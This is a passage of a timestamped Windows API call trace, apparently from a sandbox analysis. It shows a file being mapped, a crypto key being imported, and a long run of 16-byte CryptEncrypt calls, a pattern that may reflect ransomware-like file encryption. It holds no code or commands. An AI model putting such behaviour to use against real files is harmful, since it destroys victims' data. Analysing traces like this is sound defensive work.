[0063.531] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18d67) returned 0x3450000 [0063.532] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c520) returned 1 [0063.533] CryptImportKey (in: hProv=0x163c520, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x16396a8) returned 1 [0063.533] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.533] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.534] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, 